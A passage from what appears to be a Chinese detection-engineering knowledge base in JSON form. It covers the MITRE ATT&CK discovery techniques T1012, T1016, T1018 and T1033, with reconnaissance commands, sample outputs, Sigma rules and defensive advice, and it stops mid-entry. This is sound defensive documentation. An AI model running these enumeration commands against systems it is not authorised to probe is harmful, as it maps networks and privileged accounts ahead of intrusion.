Registry`（安全日志）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n  - 部署 Sysmon 并配置注册表和进程监控。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`reg.exe`、`powershell.exe`。\n  - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `reg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"`。\n- **注册表访问**：\n  - 查询 `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`等。\n  - Sysmon 事件 ID 13 记录注册表访问事件。\n- **文件访问**：\n  - 可能的输出文件（如 `reg query > output.txt`）。\n  - 脚本文件（如 `.ps1` 文件）创建或访问。\n- **网络痕迹**：\n  - 远程 WMI 查询可能涉及DCOM（端口135、动态高位端口）。\n- **隐藏手段**：\n  - 使用编码后的PowerShell脚本（如 `Invoke-Obfuscation`）。\n  - 重定向输出到文件或通过网络传输以减少本地日志。\n  - 使用第三方工具（如PsTools的 `PsReg`）查询注册表。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yml\ntitle: Windows 注册表查询\ndescription: 检测通过reg.exe、PowerShell或WMI执行注册表查询的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1012/\n  - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1012/T1012.md\ntags:\n  - attack.discovery\n  - attack.t1012\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_reg:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith: '\\reg.exe'\n    CreatorProcessName|endswith: '\\cmd.exe'\n    ProcessCommandLine|contains:\n      - 'query'\n      - 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'\n      - 'HKCU\\Software\\Microsoft\\Terminal Server Client'\n      - 'HKLM\\SYSTEM\\CurrentControlSet\\Services'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-ItemProperty'\n      - 'Get-ChildItem'\n      - 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'\n  selection_sysmon:\n    EventID: 13 # Sysmon 注册表事件\n    TargetObject|contains:\n      - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'\n  condition: selection_reg or selection_powershell or selection_sysmon\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetObject\nlevel: medium\nfalsepositives:\n  - 合法的IT管理工具可能查询注册表\n  - 管理员手动运行注册表查询命令\n```\n\n### 检测思路\n\n1. **进程监控**：\n   - 监控 `reg.exe`、`powershell.exe`的进程创建（事件ID4688）。\n   - 关注命令行参数中包含 `query`、`Get-ItemProperty`的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-ItemProperty` 或 `Get-ChildItem` 的执行。\n3. **注册表监控**：\n   - 使用 Sysmon 监控高价值注册表键的访问（如 `Run` 键、RDP 配置）。\n4. **行为分析**：\n   - 检测短时间内高频的注册表查询行为（5 分钟内多次触发）。\n   - 结合上下文（如异常用户、未知父进程）提高检测准确性。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对敏感注册表键的访问权限（如 `HKLM\\SOFTWARE` 和 `HKLM\\SYSTEM`）。\n   - 启用组策略，限制 `reg.exe` 和 PowerShell 的执行。\n   - 部署 EDR 工具，监控注册表查询和修改行为。\n2. **检测优化**：\n   - 监控短时间内高频的注册表查询行为（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测 WMI 相关的 DCOM 流量（端口 135 及高位端口），识别远程注册表查询。\n3. **降低误报**：\n   - 排除已知的 IT 管理工具（如 SCCM、Ansible）或合法脚本触发的行为。\n   - 配置白名单，过滤常见管理员操作（如 `reg query` 用于系统维护）。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 PsTools 的 `PsReg`）或自定义脚本，建议监控未知可执行文件的运行。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1012  \n  <https://attack.mitre.org/techniques/T1012/>\n- Windows `reg` 命令详解  \n  <https://www.jb51.net/article/30078.htm>\n- Atomic Red Team - T1012 测试案例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1012/T1012.md>"
  },
  {
    "path": "Windows/09发现/T1016-win-系统网络配置发现.md",
    "content": "# T1016-Win-系统网络配置发现\n\n## 描述\n\n攻击者通过系统网络配置发现（T1016）收集目标系统或远程系统的网络配置和设置详细信息，以了解网络环境、识别关键设备（如网关、DNS 服务器或域控制器）或为后续攻击（如横向移动、数据泄露）做准备。在 Windows 系统中，攻击者可能使用原生工具如 `ipconfig`、`arp`、`nbtstat`、`route` 和 `netsh`，以及 PowerShell 命令（如 `Get-NetAdapter`、`Get-NetIPAddress`）或 WMI 查询（如 `Win32_NetworkAdapterConfiguration`）。在 Linux 或 macOS 系统中，攻击者可能使用 `ifconfig`、`arp` 或 `netstat` 等命令。攻击者利用这些信息规划攻击路径、识别网络拓扑或确认目标系统的网络连接状态。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户或管理员账户\n- 工具：CMD、PowerShell、WMIC\n\n### 测试案例 1：使用 `ipconfig`\n```dos\nipconfig /all\n```\n**输出示例**：\n```\nindows IP 配置\n\n   主机名  . . . . . . . . . . . . . : DESKTOP-4C7J879\n   主 DNS 后缀 . . . . . . . . . . . :\n   节点类型  . . . . . . . . . . . . : 混合\n   IP 路由已启用 . . . . . . . . . . : 否\n   WINS 代理已启用 . . . . . . . . . : 否\n   DNS 后缀搜索列表  . . . . . . . . : localdomain\n\n以太网适配器 以太网:\n\n   连接特定的 DNS 后缀 . . . . . . . : localdomain\n   描述. . . . . . . . . . . . . . . : Parallels VirtIO Ethernet Adapter\n   物理地址. . . . . . . . . . . . . : 00-1C-42-71-FB-62\n   DHCP 已启用 . . . . . . . . . . . : 是\n   自动配置已启用. . . . . . . . . . : 是\n   IPv6 地址 . . . . . . . . . . . . : fdb2:2c26:f4e4:0:7960:e1da:ea46:533a(首选)\n   临时 IPv6 地址. . . . . . . . . . : fdb2:2c26:f4e4:0:b073:a90:a019:7277(首选)\n   本地链接 IPv6 地址. . . . . . . . : fe80::7960:e1da:ea46:533a%13(首选)\n   IPv4 地址 . . . . . . . . . . . . : 10.211.55.111(首选)\n   子网掩码  . . . . . . . . . . . . : 255.255.255.0\n   获得租约的时间  . . . . . . . . . : 2025年5月25日 22:00:10\n   租约过期的时间  . . . . . . . . . : 2025年5月25日 23:37:48\n   默认网关. . . . . . . . . . . . . : fe80::21c:42ff:fe00:18%13\n                                       10.211.55.1\n   DHCP 服务器 . . . . . . . . . . . : 10.211.55.1\n   DHCPv6 IAID . . . . . . . . . . . : 50338882\n   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-2E-C3-D1-C9-00-1C-42-71-FB-62\n   DNS 服务器  . . . . . . . . . . . : fe80::21c:42ff:fe00:18%13\n                                       10.211.55.1\n                                       fe80::21c:42ff:fe00:18%13\n   TCPIP 上的 NetBIOS  . . . . . . . : 已启用\n```\n\n### 测试案例 2：使用 `arp -a`\n```dos\narp -a\n```\n**输出示例**：\n```\n接口: 10.211.55.111 --- 0xd\n  Internet 地址         物理地址              类型\n  10.211.55.1           00-1c-42-00-00-18     动态\n  10.211.55.255         ff-ff-ff-ff-ff-ff     静态\n  224.0.0.22            01-00-5e-00-00-16     静态\n  224.0.0.251           01-00-5e-00-00-fb     静态\n  224.0.0.252           01-00-5e-00-00-fc     静态\n  239.255.255.250       01-00-5e-7f-ff-fa     静态\n  255.255.255.255       ff-ff-ff-ff-ff-ff     静态\n```\n\n### 测试案例 3：使用 `nbtstat -n`\n```dos\nnbtstat -n\n```\n**输出示例**：\n```\n以太网:\n节点 IP 址址: [10.211.55.111] 范围 ID: []\n\n                NetBIOS 本地名称表\n\n       名称               类型         状态\n    ---------------------------------------------\n    DESKTOP-4C7J879<20>  唯一          已注册\n    DESKTOP-4C7J879<00>  唯一          已注册\n    WORKGROUP      <00>  组           已注册\n```\n\n### 测试案例 4：使用 `route print`\n```dos\nroute print\n```\n**输出示例**：\n```\n===========================================================================\n接口列表\n 13...00 1c 42 71 fb 62 ......Parallels VirtIO Ethernet Adapter\n  1...........................Software Loopback Interface 1\n===========================================================================\n\nIPv4 路由表\n===========================================================================\n活动路由:\n网络目标        网络掩码          网关       接口   跃点数\n          0.0.0.0          0.0.0.0      10.211.55.1    10.211.55.111     15\n      10.211.55.0    255.255.255.0            在链路上     10.211.55.111    271\n    10.211.55.111  255.255.255.255            在链路上     10.211.55.111    271\n    10.211.55.255  255.255.255.255            在链路上     10.211.55.111    271\n        127.0.0.0        255.0.0.0            在链路上         127.0.0.1    331\n        127.0.0.1  255.255.255.255            在链路上         127.0.0.1    331\n  127.255.255.255  255.255.255.255            在链路上         127.0.0.1    331\n        224.0.0.0        240.0.0.0            在链路上         127.0.0.1    331\n        224.0.0.0        240.0.0.0            在链路上     10.211.55.111    271\n  255.255.255.255  255.255.255.255            在链路上         127.0.0.1    331\n  255.255.255.255  255.255.255.255            在链路上     10.211.55.111    271\n===========================================================================\n永久路由:\n  无\n\nIPv6 路由表\n===========================================================================\n活动路由:\n 接口跃点数网络目标                网关\n 13    271 ::/0                     fe80::21c:42ff:fe00:18\n  1    331 ::1/128                  在链路上\n 13    271 fdb2:2c26:f4e4::/64      在链路上\n 13    271 fdb2:2c26:f4e4:0:7960:e1da:ea46:533a/128\n                                    在链路上\n 13    271 fdb2:2c26:f4e4:0:b073:a90:a019:7277/128\n                                    在链路上\n 13    271 fe80::/64                在链路上\n 13    271 fe80::7960:e1da:ea46:533a/128\n                                    在链路上\n  1    331 ff00::/8                 在链路上\n 13    271 ff00::/8                 在链路上\n===========================================================================\n永久路由:\n  无\n```\n\n### 测试案例 5：使用 PowerShell\n```powershell\nGet-NetAdapter | Select-Object Name, InterfaceDescription, MacAddress, Status\n```\n**输出示例**：\n```\nName   InterfaceDescription              MacAddress        Status\n----   --------------------              ----------        ------\n以太网 Parallels VirtIO Ethernet Adapter 00-1C-42-71-FB-62 Up\n```\n\n### 测试案例 6：使用 WMIC\n```dos\nwmic nicconfig get Caption,IPAddress,MACAddress\n```\n**输出示例**：\n```\nCaption                                            IPAddress                                                                                                                      MACAddress\n[00000000] Microsoft Kernel Debug Network Adapter                                                                       \n[00000001] Parallels VirtIO Ethernet Adapter       {\"10.211.55.111\", \"fe80::7960:e1da:ea46:533a\", \"fdb2:2c26:f4e4:0:b073:a90:a019:7277\", \"fdb2:2c26:f4e4:0:7960:e1da:ea46:533a\"}  00:1C:42:71:FB:62\n```\n\n**说明**：\n- 普通用户可以运行大多数命令（如 `ipconfig`、`arp`），但某些命令（如 `netsh advfirewall`）可能需要管理员权限。\n- PowerShell 和 WMIC 提供更结构化的输出，适合脚本化处理。\n\n## 检测日志\n\n- **Windows 安全日志**：\n  - 事件 ID 4688：进程创建，记录 `ipconfig.exe`、`arp.exe`、`nbtstat.exe`、`route.exe`、`netsh.exe` 或 `powershell.exe` 的执行。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数和父进程信息。\n  - 事件 ID 3：网络连接，记录可能的远程查询（如 `netsh` 涉及的流量）。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 命令执行，如 `Get-NetAdapter`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n  - 部署 Sysmon 并配置进程创建和网络连接监控。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`ipconfig.exe`、`arp.exe`、`nbtstat.exe`、`route.exe`、`netsh.exe`、`powershell.exe`、`wmic.exe`。\n  - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `ipconfig /all`、`arp -a`、`Get-NetAdapter`。\n- **文件访问**：\n  - 可能的输出文件（如 `ipconfig /all > output.txt`）。\n  - 脚本文件（如 `.ps1` 文件）创建或访问。\n- **网络痕迹**：\n  - WMI 远程查询可能涉及 DCOM（端口 135、动态高位端口）。\n  - `netsh` 命令可能触发防火墙相关的网络活动。\n- **隐藏手段**：\n  - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n  - 重定向输出到文件或通过网络传输以减少本地日志。\n  - 使用第三方工具（如 PsTools 的 `PsPing`）进行网络配置查询。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yml\ntitle: Windows系统网络配置发现\ndescription: 检测通过 ipconfig、arp、nbtstat、route、netsh、PowerShell 或 WMI 执行系统网络配置发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1016/\n  - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1016/T1016.md\ntags:\n  - attack.discovery\n  - attack.t1016\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith:\n      - '\\ipconfig.exe'\n      - '\\arp.exe'\n      - '\\nbtstat.exe'\n      - '\\route.exe'\n      - '\\netsh.exe'\n    CreatorProcessName|endswith: '\\cmd.exe'\n    ProcessCommandLine|contains:\n      - '/all'\n      - '-a'\n      - '-n'\n      - 'print'\n      - 'interface show'\n      - 'advfirewall firewall show'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-NetAdapter'\n      - 'Get-NetIPAddress'\n      - 'Get-NetRoute'\n  selection_wmi:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith: '\\wmic.exe'\n    ProcessCommandLine|contains: 'nicconfig'\n  condition: selection_cmd or selection_powershell or selection_wmi\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\nlevel: medium\nfalsepositives:\n  - 合法的IT管理工具可能触发类似行为\n  - 管理员手动运行网络配置查询命令\n```\n\n### 检测思路\n\n1. **进程监控**：\n   - 监控 `ipconfig.exe`、`arp.exe`、`nbtstat.exe`、`route.exe`、`netsh.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `/all`、`-a`、`-n`、`print`、`interface show` 或 `Get-NetAdapter` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-NetAdapter`、`Get-NetIPAddress` 或 `Get-NetRoute` 的执行。\n3. **WMI 监控**：\n   - 检测 `wmic.exe` 进程启动，尤其是命令行中包含 `nicconfig` 的情况。\n4. **行为分析**：\n   - 检测短时间内高频的网络配置查询行为（5 分钟内多次触发）。\n   - 结合上下文（如异常用户、未知父进程）提高检测准确性。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对网络配置查询工具（如 `ipconfig`、`netsh`）的执行权限。\n   - 启用组策略，限制 PowerShell 和 WMIC 的使用。\n   - 部署 EDR 工具，监控网络配置查询行为。\n2. **检测优化**：\n   - 监控短时间内高频的网络配置查询行为（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测 WMI 相关的 DCOM 流量（端口 135 及高位端口），识别远程网络配置查询。\n3. **降低误报**：\n   - 排除已知的 IT 管理工具（如 SCCM、Ansible）或合法脚本触发的行为。\n   - 配置白名单，过滤常见管理员操作（如 `ipconfig /all` 用于网络诊断）。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 PsTools 的 `PsPing`）或自定义脚本，建议监控未知可执行文件的运行。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1016  \n  <https://attack.mitre.org/techniques/T1016/>\n- Sysmon配置指南  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Atomic Red Team - T1016 测试案例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1016/T1016.md>"
  },
  {
    "path": "Windows/09发现/T1018-win-远程系统发现.md",
    "content": "# T1018-Win-远程系统发现\n\n## 描述\n\n攻击者通过远程系统发现（T1018）获取 Windows 网络中其他系统的列表，包括 IP 地址、主机名或其他逻辑标识符，以识别活跃主机、收集网络拓扑或为横向移动、数据窃取等后续攻击做准备。攻击者可能使用原生工具如 `ping`、`net view`、`nbtscan`，PowerShell 命令（如 `Test-Connection`、`Get-NetNeighbor`）或 WMI 查询（如 `Win32_PingStatus`）。攻击者还可能检查本地主机文件（`C:\\Windows\\System32\\Drivers\\etc\\hosts`）以发现主机名到 IP 地址的映射。这些信息可帮助攻击者定位高价值目标（如域控制器、文件服务器）或规划攻击路径。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户或管理员账户\n- 工具：CMD、PowerShell、nbtscan、WMIC\n\n### 测试案例 1：使用 `nbtscan`\n```dos\nnbtscan-1.0.35.exe 10.211.55.1/24\n```\n**输出示例**:\n```\n10.211.55.2     WORKSTATION01    domain\\user1    00:15:5D:01:23:45\n10.211.55.3     SERVER01         domain\\admin    00:15:5D:67:89:AB\n*timeout (normal end of scan)\n```\n\n### 测试案例 2：使用 `ping`\n```dos\nping 10.211.55.2\n```\n**输出示例**:\n```\nPinging 10.211.55.2 with 32 bytes of data:\nReply from 10.211.55.2: bytes=32 time=1ms TTL=128\nReply from 10.211.55.2: bytes=32 time<1ms TTL=128\n```\n\n### 测试案例 3：使用 `net view`\n```dos\nnet view\n```\n**输出示例**:\n```\nServer Name            Remark\n-------------------------------------------------------------------------------\n\\\\SERVER01             File Server\n\\\\WORKSTATION01        Workstation\nThe command completed successfully.\n```\n\n### 测试案例 4：使用 PowerShell\n```powershell\nTest-Connection -ComputerName 10.211.55.2 -Count 2\n```\n**输出示例**:\n```\nSource        Destination     IPV4Address      IPV6Address  Bytes    Time(ms)\n------        -----------     -----------      -----------  -----    --------\nDESKTOP-TEST  10.211.55.2     10.211.55.2                   32       1\nDESKTOP-TEST  10.211.55.2     10.211.55.2                   32       0\n```\n\n### 测试案例 5：使用 WMI\n```dos\nwmic /node:10.211.55.2 path Win32_PingStatus where \"Address='10.211.55.3'\"\n```\n**输出示例**:\n```\nAddress       StatusCode\n10.211.55.3   0\n```\n\n**说明**:\n- `nbtscan` 需要下载第三方工具，普通用户即可运行。\n- `ping` 和 `net view` 不需要管理员权限，广泛用于网络扫描。\n- PowerShell 和 WMI 可能需要管理员权限，尤其是远程查询。\n\n## 检测日志\n\n- **安全日志**:\n  - 事件 ID 4688: 进程创建，记录 `nbtscan.exe`、`ping.exe`、`net.exe`、`powershell.exe` 或 `wmic.exe` 的执行。\n- **Sysmon 日志**:\n  - 事件 ID 1: 进程创建，记录命令行参数和父进程信息。\n  - 事件 ID 3: 网络连接，记录 ICMP、NetBIOS 或 SMB 流量。\n- **PowerShell 日志**:\n  - 事件 ID 4103/4104: 记录 PowerShell 命令执行，如 `Test-Connection`。\n- **要求**:\n  - 启用 `Audit Process Creation`（安全日志）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`.\n  - 部署 Sysmon 并配置进程创建和网络连接监控。\n\n## 测试留痕\n\n- **进程相关**:\n  - 进程创建: `nbtscan.exe`, `ping.exe`, `net.exe`, `powershell.exe`, `wmic.exe`。\n  - 父进程: 如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数: 如 `nbtscan-1.0.35.exe 10.211.55.1/24`、`ping 10.211.55.2`。\n- **文件访问**:\n  - 第三方工具（如 `nbtscan.exe`）的下载或执行。\n  - 可能的输出文件（如 `nbtscan > output.txt`）。\n  - 主机文件访问（`C:\\Windows\\System32\\Drivers\\etc\\hosts`）。\n- **网络痕迹**:\n  - ICMP 流量（`ping` 触发）。\n  - NetBIOS 流量（`nbtscan` 或 `net view`，端口 137/138/139）。\n  - SMB 流量（`net view`，端口 445）。\n  - WMI 远程查询（DCOM，端口 135 和动态高位端口）。\n- **隐藏手段**:\n  - 重命名 `nbtscan.exe` 或使用自定义编译的工具。\n  - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n  - 重定向输出到文件或通过网络传输以减少本地日志。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yml\ntitle: Windows远程系统发现\ndescription: 检测通过nbtscan、ping、net view、PowerShell或WMI执行Windows远程系统发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1018/\n  - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Discovery/detect-nbtscan-activity.md\ntags:\n  - attack.discovery\n  - attack.t1018\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith:\n      - '\\nbtscan.exe'\n      - '\\ping.exe'\n      - '\\net.exe'\n    CreatorProcessName|endswith: '\\cmd.exe'\n    ProcessCommandLine|contains:\n      - '10.'\n      - '192.168.'\n      - 'view'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Test-Connection'\n      - 'Get-NetNeighbor'\n  selection_wmi:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith: '\\wmic.exe'\n    ProcessCommandLine|contains: 'Win32_PingStatus'\n  selection_sysmon_network:\n    EventID: 3 # Sysmon 网络连接\n    DestinationPort|in:\n      - 137\n      - 138\n      - 139\n      - 445\n    Image|endswith:\n      - '\\nbtscan.exe'\n      - '\\net.exe'\n  condition: selection_cmd or selection_powershell or selection_wmi or selection_sysmon_network\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - DestinationPort\nlevel: medium\nfalsepositives:\n  - 合法的IT管理工具可能触发类似行为\n  - 管理员手动运行网络扫描命令\n```\n\n### 检测思路\n\n1. **进程监控**:\n   - 监控 `nbtscan.exe`、`ping.exe`、`net.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 IP 地址范围（如 `10.`、`192.168.`）或 `view` 的行为。\n2. **PowerShell 监控**:\n   - 启用 PowerShell 脚本块日志，检测 `Test-Connection` 或 `Get-NetNeighbor` 的执行。\n3. **WMI 监控**:\n   - 检测 `wmic.exe` 进程启动，尤其是命令行中包含 `Win32_PingStatus` 的情况。\n4. **网络监控**:\n   - 使用 Sysmon 事件 ID 3 监控 NetBIOS（137/138/139）或 SMB（445）流量。\n5. **行为分析**:\n   - 检测短时间内高频的网络扫描行为（5 分钟内多次触发）。\n   - 结合上下文（如异常用户、未知父进程）提高检测准确性。\n\n## 建议\n\n1. **防御措施**:\n   - 限制普通用户对网络扫描工具（如 `nbtscan`、`ping`）的执行权限。\n   - 启用组策略，限制 PowerShell 和 WMIC 的使用。\n   - 部署 EDR 工具，监控异常网络扫描行为。\n   - 使用防火墙阻止未经授权的 NetBIOS（137/138/139）或 SMB（445）流量。\n2. **检测优化**:\n   - 监控短时间内高频的网络扫描行为（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测 NetBIOS（137/138/139）、SMB（445）或 DCOM（135 和高位端口）流量，识别远程系统发现。\n3. **降低误报**:\n   - 排除已知的 IT 管理工具（如 SCCM、Ansible）或合法脚本触发的行为。\n   - 配置白名单，过滤常见管理员操作（如 `ping` 用于网络诊断）。\n4. **其他工具**:\n   - 攻击者可能使用第三方工具（如 PsTools 的 `PsPing`、Nmap）或自定义脚本，建议监控未知可执行文件的运行和异常网络流量。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1018  \n  <https://attack.mitre.org/techniques/T1018/>\n- Microsoft 365 Defender - 检测nbtscan活动  \n  <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Discovery/detect-nbtscan-activity.md>\n- Nbtscan下载  \n  <http://unixwiz.net/tools/nbtscan.html>\n"
  },
  {
    "path": "Windows/09发现/T1033-win-系统所有者及用户发现.md",
    "content": "# T1033-Win-系统所有者/用户发现\n\n## 描述\n\n攻击者通过系统所有者/用户发现（T1033）识别主要用户、当前登录用户、通常使用系统的用户集，或者用户是否正在积极使用系统，以确定高权限用户（如管理员）、伪装合法操作或为横向移动、权限提升等后续攻击做准备。在 Windows 系统中，攻击者可能使用原生工具如 `whoami`、`net user`、`net group`、`quser`、`qwinsta`，PowerShell 命令（如 `Get-LocalUser`、`Get-ADUser`）或 WMI 查询（如 `Win32_UserAccount`）。用户和用户名信息在运行进程所有权、文件目录所有权、会话信息和系统日志中广泛存在，攻击者可通过多种方式收集。在 Linux 系统中，攻击者可能使用 `who`、`w` 或检查 `/etc/passwd` 获取用户信息。这些信息可帮助攻击者选择目标账户或规避检测。本文档聚焦于 Windows 平台的检测和防御，Linux 平台作为辅助参考。\n\n## 测试案例\n\n### 环境\n- **Windows**：Windows Server 2016 / Windows 10，普通用户或管理员权限\n- **Linux**：linux mint，普通用户权限\n- **工具**：CMD、PowerShell、WMIC（Windows）；`who`、`w`（Linux）\n\n### 测试案例 1：Windows - 使用 `whoami`\n```dos\nwhoami\n```\n**输出示例**:\n```\ndesktop-4c7j879\\heihei\n```\n\n### 测试案例 2：Windows - 查询域用户\n```dos\nnet user /domain\n```\n**输出示例**:\n```\n net user /domain\n这项请求将在域 WORKGROUP 的域控制器处理。\n\n发生系统错误 1355。\n\n指定的域不存在，或无法联系。\n```\n\n### 测试案例 3：Windows - 查询域管理员\n```dos\nnet group \"Domain Admins\" /domain\n```\n**输出示例**:\n```\nGroup name     Domain Admins\nComment        Designated administrators of the domain\nMembers\n-------------------------------------------------------------------------------\nAdministrator            user1\nThe command completed successfully.\n```\n\n### 测试案例 4：Windows - 查看工作站信息\n```dos\nnet config Workstation\n```\n**输出示例**:\n```\n计算机名                     \\\\DESKTOP-4C7J879\n计算机全名                   DESKTOP-4C7J879\n用户名                       heihei\n\n工作站正运行于\n        NetBT_Tcpip_{99671A34-4CEC-4C3E-9DEA-653D74FCBAD2} (001C4271FB62)\n\n软件版本                     Windows 10 Pro\n\n工作站域                     WORKGROUP\n登录域                       DESKTOP-4C7J879\n\nCOM 打开超时 (秒)            0\nCOM 发送计数 (字节)          16\nCOM 发送超时 (毫秒)          250\n命令成功完成。\n```\n\n### 测试案例 5：Windows - 使用 `quser`\n```dos\nquser\n```\n**输出示例**:\n```\n 用户名                会话名             ID  状态    空闲时间   登录时间\n>heihei                console             1  运行中      无     2025/5/25 22:00\n```\n\n### 测试案例 6：Windows - 使用 PowerShell\n```powershell\nGet-LocalUser\n```\n**输出示例**:\n```\nName               Enabled Description\n----               ------- -----------\nAdministrator      False   管理计算机(域)的内置帐户\nDefaultAccount     False   系统管理的用户帐户。\nGuest              False   供来宾访问计算机或访问域的内置帐户\nheihei             True\nWDAGUtilityAccount False   系统为 Windows Defender 应用程序防护方案管理和使用的用户帐户。\n```\n\n### 测试案例 7：Windows - 使用 WMI\n```dos\nwmic useraccount get Name,SID\n```\n**输出示例**:\n```\nName                SID\nAdministrator       S-1-5-21-4247806868-886200894-33507537-500\nDefaultAccount      S-1-5-21-4247806868-886200894-33507537-503\nGuest               S-1-5-21-4247806868-886200894-33507537-501\nheihei              S-1-5-21-4247806868-886200894-33507537-1001\nWDAGUtilityAccount  S-1-5-21-4247806868-886200894-33507537-504\n```\n\n### 测试案例 8：Linux - 使用 `who`\n```bash\nwho\n```\n**输出示例**:\n```\nicbc     :0           2025-05-25 08:58 (:0)\nuser1    pts/0        2025-05-25 09:00 (192.168.1.100)\n```\n\n### 测试案例 9：Linux - 使用 `w`\n```bash\nw\n```\n**输出示例**:\n```\n 09:03:14 up 5 min,  2 users,  load average: 0.08, 0.51, 0.31\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\nicbc     :0       :0               08:58   ?xdm?  35.66s  0.02s /usr/lib/gdm3/g\nuser1    pts/0    192.168.1.100    09:00   10.00s  0.05s  0.05s bash\n```\n\n**说明**:\n- Windows 命令如 `whoami`、`net user`、`quser` 通常无需管理员权限，`net group` 和 WMI 可能需要域环境或管理员权限。\n- Linux 命令 `who` 和 `w` 可由普通用户运行。\n- PowerShell 和 WMI 提供更详细的用户信息，常见于高级攻击场景。\n\n## 检测日志\n\n- **Windows**:\n  - **安全日志**:\n    - 事件 ID 4688: 进程创建，记录 `whoami.exe`、`net.exe`、`quser.exe`、`qwinsta.exe`、`powershell.exe` 或 `wmic.exe` 的执行。\n  - **Sysmon 日志**:\n    - 事件 ID 1: 进程创建，记录命令行参数和父进程信息。\n    - 事件 ID 3: 网络连接，记录可能的域查询（如 LDAP 或 NetBIOS）。\n  - **PowerShell 日志**:\n    - 事件 ID 4103/4104: 记录 PowerShell 命令执行，如 `Get-LocalUser` 或 `Get-ADUser`。\n- **Linux**:\n  - **历史日志**: 用户执行的 `who` 或 `w` 命令记录在 `~/.bash_history` 或 `/root/.bash_history`。\n  - **系统日志**: `/var/log/auth.log` 或 `/var/log/secure`，记录用户相关操作。\n- **要求**:\n  - Windows: 启用 `Audit Process Creation`（安全日志）、PowerShell `Script Block Logging` 和 `Module Logging`、Sysmon 进程和网络监控。\n  - Linux: 启用 `auditd` 或确保 `/var/log/auth.log` 记录用户命令。\n\n## 测试留痕\n\n- **Windows**:\n  - **进程相关**:\n    - 进程创建: `whoami.exe`, `net.exe`, `quser.exe`, `qwinsta.exe`, `powershell.exe`, `wmic.exe`。\n    - 父进程: 如 `cmd.exe` 或 `powershell.exe`。\n    - 命令行参数: 如 `whoami`, `net user /domain`, 